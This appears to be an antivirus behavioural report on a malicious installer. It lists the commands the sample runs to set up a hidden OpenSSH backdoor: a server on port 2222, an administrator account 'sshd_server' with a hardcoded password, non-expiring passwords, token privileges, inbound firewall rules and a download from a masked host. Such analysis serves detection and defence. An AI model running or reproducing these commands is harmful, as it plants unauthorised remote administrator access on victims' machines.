Technical Information
Malicious functions
Creates and executes the following
- '%WINDIR%\temp\openssh.exe' /S /port=2222 /privsep=1 /password=D@rj33l1ng
- '%ProgramFiles%\openssh\bin\junction.exe' /accepteula "%ProgramFiles%\OpenSSH\home" "%HOMEPATH%\.."
- '%ProgramFiles%\openssh\bin\mkgroup.exe' -l
- '%ProgramFiles%\openssh\bin\mkpasswd.exe' -l
- '%ProgramFiles%\openssh\bin\mkpasswd.exe' -l -u sshd
- '%ProgramFiles%\openssh\bin\ssh-keygen.exe' -b 1024 -t dsa -f /ssh_host_dsa_key -N ""
- '%ProgramFiles%\openssh\bin\mv.exe' /ssh_host_dsa_key* /etc
- '%ProgramFiles%\openssh\bin\ssh-keygen.exe' -b 2048 -t rsa1 -f /ssh_host_key -N ""
- '%ProgramFiles%\openssh\bin\mv.exe' /ssh_host_key* /etc/
- '%ProgramFiles%\openssh\bin\ssh-keygen.exe' -b 2048 -t rsa -f /ssh_host_rsa_key -N ""
- '%ProgramFiles%\openssh\bin\mv.exe' /ssh_host_rsa_key* /etc/
- '%ProgramFiles%\openssh\bin\ssh-keygen.exe' -b 521 -t ecdsa -f /ssh_host_ecdsa_key -N ""
- '%ProgramFiles%\openssh\bin\mv.exe' /ssh_host_ecdsa_key* /etc/
- '%ProgramFiles%\openssh\bin\ssh-keygen.exe' -b 2048 -t ed25519 -f /ssh_host_ed25519_key -N ""
- '%ProgramFiles%\openssh\bin\mv.exe' /ssh_host_ed25519_key* /etc/
- '%ProgramFiles%\openssh\bin\editrights.exe' -a SeAssignPrimaryTokenPrivilege -u sshd_server
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="OpenSSH" dir=in action=allow service=OpenSSHd enable=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="OpenSSH" dir=in action=allow program="%ProgramFiles%\OpenSSH\usr\sbin\sshd.exe" enable=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="OpenSSH" dir=in action=allow protocol=TCP localport=2222
Modifies file system
Creates the following files
- %WINDIR%\temp\openssh.exe
- %ProgramFiles%\openssh\bin\false.exe
- %ProgramFiles%\openssh\bin\sh.exe
- %ProgramFiles%\openssh\bin\quietcmd.bat
- %ProgramFiles%\openssh\bin\cygrunsrv.exe
- %ProgramFiles%\openssh\usr\share\terminfo\c\cygwin
- %ProgramFiles%\openssh\docs\ssh-manual.htm
- %ProgramFiles%\openssh\docs\sftp-manual.htm
- %ProgramFiles%\openssh\docs\scp-manual.htm
- %ProgramFiles%\openssh\bin\scp.exe
- %ProgramFiles%\openssh\bin\sftp.exe
- %ProgramFiles%\openssh\bin\ssh.exe
- %TEMP%\nsha41d.tmp\nsexec.dll
- %ProgramFiles%\openssh\docs\readme.tun
- %ProgramFiles%\openssh\docs\readme.privsep
- %ProgramFiles%\openssh\docs\readme.platform
- %ProgramFiles%\openssh\docs\readme.dns
- %ProgramFiles%\openssh\docs\readme
- %ProgramFiles%\openssh\docs\protocol.mux
- %ProgramFiles%\openssh\docs\protocol.certkeys
- %ProgramFiles%\openssh\docs\protocol.agent
- %ProgramFiles%\openssh\docs\protocol
- %ProgramFiles%\openssh\docs\overview
- %ProgramFiles%\openssh\docs\licence
- %ProgramFiles%\openssh\docs\credits
- %ProgramFiles%\openssh\docs\openssh-license.txt
- %ProgramFiles%\openssh\docs\ssh-add-manual.htm
- %ProgramFiles%\openssh\docs\cygwin-gpl.txt
- %ProgramFiles%\openssh\bin\ls.exe
- %ProgramFiles%\openssh\bin\mkdir.exe
- %ProgramFiles%\openssh\ssh_host_ecdsa_key.pub
- %ProgramFiles%\openssh\ssh_host_ecdsa_key
- %ProgramFiles%\openssh\ssh_host_rsa_key.pub
- %ProgramFiles%\openssh\ssh_host_rsa_key
- %ProgramFiles%\openssh\ssh_host_dsa_key.pub
- %ProgramFiles%\openssh\ssh_host_dsa_key
- %ProgramFiles%\openssh\etc\sshd_config
- %ProgramFiles%\openssh\bin\cyglsa\cyglsa64.dll
- %ProgramFiles%\openssh\etc\passwd
- %ProgramFiles%\openssh\etc\group
- %ProgramFiles%\openssh\var\run\utmp
- %ProgramFiles%\openssh\var\log\wtmp
- %ProgramFiles%\openssh\etc\ssh_config
- %ProgramFiles%\openssh\bin\cygattr-1.dll
- %ProgramFiles%\openssh\etc\banner.txt
- %ProgramFiles%\openssh\docs\last-copyright.txt
- %ProgramFiles%\openssh\docs\sftp-server-manual.htm
- %ProgramFiles%\openssh\docs\sshd-config-manual.htm
- %ProgramFiles%\openssh\docs\sshd-manual.htm
- %ProgramFiles%\openssh\usr\sbin\ssh-keysign.exe
- %ProgramFiles%\openssh\usr\sbin\sshd.exe
- %ProgramFiles%\openssh\usr\sbin\sftp-server.exe
- %ProgramFiles%\openssh\bin\last.exe
- %ProgramFiles%\openssh\bin\switch.exe
- %ProgramFiles%\openssh\bin\switch.c
- %ProgramFiles%\openssh\bin\rm.exe
- %ProgramFiles%\openssh\docs\ssh-agent-manual.htm
- %ProgramFiles%\openssh\docs\ssh-keyscan-manual.htm
- %ProgramFiles%\openssh\docs\ssh-keygen-manual.htm
- %ProgramFiles%\openssh\bin\cygheimbase-1.dll
- %ProgramFiles%\openssh\bin\cygwind-0.dll
- %ProgramFiles%\openssh\bin\cyghx509-5.dll
- %ProgramFiles%\openssh\bin\cygroken-18.dll
- %ProgramFiles%\openssh\bin\cygasn1-8.dll
- %ProgramFiles%\openssh\bin\cygkrb5-3.dll
- %ProgramFiles%\openssh\bin\cygheimntlm-0.dll
- %ProgramFiles%\openssh\bin\cyggssapi-3.dll
- %ProgramFiles%\openssh\bin\cygncursesw-10.dll
- %ProgramFiles%\openssh\bin\cygreadline7.dll
- %ProgramFiles%\openssh\bin\cygiconv-2.dll
- %ProgramFiles%\openssh\bin\junction.exe
- %ProgramFiles%\openssh\bin\bash.exe
- %TEMP%\nsha41d.tmp\services.dll
- %TEMP%\bin\cygwin1.dll
- %TEMP%\bin\cygrunsrv.exe
- %TEMP%\nsha41d.tmp\openssh_keysize.ini
- %TEMP%\nsha41d.tmp\openssh_port.ini
- %TEMP%\nsha41d.tmp\openssh_service.ini
- %TEMP%\nsha41d.tmp\openssh_privsep.ini
- %TEMP%\nsha41d.tmp\openssh_grppwd.ini
- %TEMP%\nsha41d.tmp\system.dll
- %TEMP%\nsha41d.tmp\splash.bmp
- %TEMP%\nsra40c.tmp
- %ProgramFiles%\openssh\bin\cygkadm5clnt-7.dll
- %ProgramFiles%\openssh\bin\cygkadm5srv-8.dll
- %ProgramFiles%\openssh\bin\cyghdb-9.dll
- %ProgramFiles%\openssh\bin\cyggssapi_krb5-2.dll
- %ProgramFiles%\openssh\bin\md5sum.exe
- %ProgramFiles%\openssh\bin\cygk5crypto-3.dll
- %ProgramFiles%\openssh\bin\sha1sum.exe
- %ProgramFiles%\openssh\bin\ssh-host-config
- %ProgramFiles%\openssh\bin\ssh-add.exe
- %ProgramFiles%\openssh\bin\cygwin1.dll
- %ProgramFiles%\openssh\bin\cygcrypto-1.0.0.dll
- %ProgramFiles%\openssh\bin\cygcrypt-0.dll
- %ProgramFiles%\openssh\bin\cygz.dll
- %ProgramFiles%\openssh\bin\ssh-agent.exe
- %ProgramFiles%\openssh\bin\ssh-keyscan.exe
- %ProgramFiles%\openssh\bin\ssh-keygen.exe
- %ProgramFiles%\openssh\bin\mkpasswd.exe
- %ProgramFiles%\openssh\etc\moduli
- %ProgramFiles%\openssh\ssh_host_ed25519_key
- %ProgramFiles%\openssh\bin\mv.exe
- %ProgramFiles%\openssh\bin\chmod.exe
- %ProgramFiles%\openssh\bin\chown.exe
- %ProgramFiles%\openssh\bin\editrights.exe
- %ProgramFiles%\openssh\bin\cygedit-0.dll
- %ProgramFiles%\openssh\bin\cygintl-8.dll
- %ProgramFiles%\openssh\bin\cygssp-0.dll
- %ProgramFiles%\openssh\bin\cyggcc_s-seh-1.dll
- %ProgramFiles%\openssh\bin\cygsqlite3-0.dll
- %ProgramFiles%\openssh\bin\cygcom_err-2.dll
- %ProgramFiles%\openssh\bin\cygkafs-0.dll
- %ProgramFiles%\openssh\bin\cygkrb5support-0.dll
- %ProgramFiles%\openssh\bin\mkgroup.exe
- %ProgramFiles%\openssh\ssh_host_ed25519_key.pub
Moves the following files
- from %ProgramFiles%\openssh\ssh_host_dsa_key to %ProgramFiles%\openssh\etc\ssh_host_dsa_key
- from %ProgramFiles%\openssh\ssh_host_dsa_key.pub to %ProgramFiles%\openssh\etc\ssh_host_dsa_key.pub
- from %ProgramFiles%\openssh\ssh_host_rsa_key to %ProgramFiles%\openssh\etc\ssh_host_rsa_key
- from %ProgramFiles%\openssh\ssh_host_rsa_key.pub to %ProgramFiles%\openssh\etc\ssh_host_rsa_key.pub
- from %ProgramFiles%\openssh\ssh_host_ecdsa_key to %ProgramFiles%\openssh\etc\ssh_host_ecdsa_key
- from %ProgramFiles%\openssh\ssh_host_ecdsa_key.pub to %ProgramFiles%\openssh\etc\ssh_host_ecdsa_key.pub
- from %ProgramFiles%\openssh\ssh_host_ed25519_key to %ProgramFiles%\openssh\etc\ssh_host_ed25519_key
- from %ProgramFiles%\openssh\ssh_host_ed25519_key.pub to %ProgramFiles%\openssh\etc\ssh_host_ed25519_key.pub
Network activity
TCP
HTTP GET requests
- http://www.ml####ftware.com/files/setupssh-7.1p1-1.exe
UDP
- DNS ASK ml####ftware.com
Miscellaneous
Creates and executes the following
- '%ProgramFiles%\openssh\bin\junction.exe' /accepteula "%ProgramFiles%\OpenSSH\home" "%HOMEPATH%\.."' (with hidden window)
- '%WINDIR%\syswow64\cacls.exe' "%ProgramFiles%\OpenSSH" /E /T /G cahxvgneinr\user:F' (with hidden window)
- '%WINDIR%\syswow64\cacls.exe' "%ProgramFiles%\OpenSSH" /E /T /G "NT AUTHORITY\SYSTEM":F' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C IF 1==1 "%ProgramFiles%\OpenSSH\bin\mkgroup.exe" -l > "%ProgramFiles%\OpenSSH\etc\group"
- '%WINDIR%\syswow64\net1.exe' localgroup Administrators sshd_server /add
- '%WINDIR%\syswow64\net.exe' localgroup Administrators sshd_server /add
- '%WINDIR%\syswow64\cmd.exe' /C net localgroup Administrators sshd_server /add
- '%WINDIR%\syswow64\wbem\wmic.exe' useraccount where "Name='sshd_server'" SET PasswordExpires=FALSE
- '%WINDIR%\syswow64\cmd.exe' /C wmic useraccount where "Name='sshd_server'" SET PasswordExpires=FALSE
- '%WINDIR%\syswow64\net1.exe' user sshd_server D@rj33l1ng /add /fullname:"sshd server account" /homedir:"%ProgramFiles%\OpenSSH\var\empty"
- '%WINDIR%\syswow64\net.exe' user sshd_server D@rj33l1ng /add /fullname:"sshd server account" /homedir:"%ProgramFiles%\OpenSSH\var\empty"
- '%WINDIR%\syswow64\cmd.exe' /C net user sshd_server D@rj33l1ng /add /fullname:"sshd server account" /homedir:"%ProgramFiles%\OpenSSH\var\empty"
- '%WINDIR%\syswow64\cmd.exe' /C netsh advfirewall firewall add rule name="OpenSSH" dir=in action=allow protocol=TCP localport=2222
- '%WINDIR%\syswow64\cmd.exe' /C ""%ProgramFiles%\OpenSSH\bin\editrights.exe"" -a SeAssignPrimaryTokenPrivilege -u sshd_server
- '%WINDIR%\syswow64\cmd.exe' /C netsh advfirewall firewall add rule name="OpenSSH" dir=in action=allow program="%ProgramFiles%\OpenSSH\usr\sbin\sshd.exe" enable=yes
- '%WINDIR%\syswow64\cacls.exe' "%ProgramFiles%\OpenSSH" /E /T /G "NT AUTHORITY\SYSTEM":F
- '%WINDIR%\syswow64\cacls.exe' "%ProgramFiles%\OpenSSH" /E /T /G cahxvgneinr\user:F
- '%WINDIR%\syswow64\cmd.exe' /C IF 1==1 "%ProgramFiles%\OpenSSH\bin\mkpasswd.exe" -l -u sshd >> "%ProgramFiles%\OpenSSH\etc\passwd"
- '%WINDIR%\syswow64\wbem\wmic.exe' useraccount where "Name='sshd'" SET PasswordExpires=FALSE
- '%WINDIR%\syswow64\cmd.exe' /C wmic useraccount where "Name='sshd'" SET PasswordExpires=FALSE
- '%WINDIR%\syswow64\net1.exe' user sshd /add /fullname:"sshd privsep" /homedir:"%ProgramFiles%\OpenSSH\var\empty" /active:no
- '%WINDIR%\syswow64\net.exe' user sshd /add /fullname:"sshd privsep" /homedir:"%ProgramFiles%\OpenSSH\var\empty" /active:no
- '%WINDIR%\syswow64\cmd.exe' /C net user sshd /add /fullname:"sshd privsep" /homedir:"%ProgramFiles%\OpenSSH\var\empty" /active:no
- '%WINDIR%\syswow64\cmd.exe' /C IF 1==1 "%ProgramFiles%\OpenSSH\bin\mkpasswd.exe" -l > "%ProgramFiles%\OpenSSH\etc\passwd"
- '%WINDIR%\syswow64\cmd.exe' /C netsh advfirewall firewall add rule name="OpenSSH" dir=in action=allow service=OpenSSHd enable=yes
- '%WINDIR%\syswow64\cmd.exe' /C ""%ProgramFiles%\OpenSSH\bin\editrights.exe"" -a SeCreateTokenPrivilege -u sshd_server
